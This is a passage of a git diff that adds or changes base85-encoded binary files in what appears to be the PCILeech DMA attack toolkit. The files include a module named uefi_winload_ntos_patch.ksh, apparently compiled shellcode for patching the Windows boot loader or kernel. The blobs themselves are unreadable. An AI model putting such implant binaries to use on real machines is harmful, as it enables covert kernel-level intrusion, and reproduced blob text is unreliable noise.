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 JsrI$y{{r<@$mjq7 diff --git a/pcileech_files/uefi_textout.ksh b/pcileech_files/uefi_textout.ksh index 3e628b2d656683ff046e40f4d1f04cdac47809ff..63002a79c294063b544c022df2fb575101537cf8 100644 GIT binary patch delta 550 zcmX@i+Qn{bF8s#Eia)d7PU*7sBjdMsnsQQ)XkXWpShQ(^M{?bkhS*H5JVpix@MVI~ zF9acU%0x%yi2*DVQyS~Lk9c%O2zYcBNO*KsD1>_SuCVy`|G!7$n*%^S#zy>s$`CM8jlSgk5laKbX(q}%sU<-{eflT*!A@CpQ*v@tZpkqB+50u7xSk6}f zx~D|iqZ_Qwr@P$%7Anj3K`GtXbI2mVg=9cY7Nis$CLjuHrJP?re(&Lq*j#V zmzF4S`4^OA=I0eFXyk(#i8-293JP2xX)6WYVg(xzOQ9rRp`a);uf$G)t02EP6Qlzu zYoK7LplhgLQxOjov{TSEQn0CnFuC$dbCXhw6!Oy)ib_F-r=+GOmgbb$8fsc`E9e?4 M*gzCap2%bb03xHe3jhEB delta 349 zcmeBTKg?=tF8s!3O70$qTe?fEqUY>OtW#~TlAqgBZ!UGrz<(%X zmLP!HNnBX+UuYg~`>7>Zx1|Y(OXc zKbYp&$>7`Tz~tHdlCkuOPcPVR<4YiWJYGor2fDViSpnqQ)&r%Ay#dZ1-Cz|S-6#GB zXuvqVp&P&g93I_sRBnJ&Hy#0bak4j4v!HIVf=x+kMM-=~etbbuW?sqU2xcPyk6v~? diff --git a/pcileech_files/uefi_winload_ntos_patch.ksh b/pcileech_files/uefi_winload_ntos_patch.ksh new file mode 100644 index 0000000000000000000000000000000000000000..15c49f06958d18114453a38b22f0e0cdc22c5ad2 GIT binary patch literal 20319 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 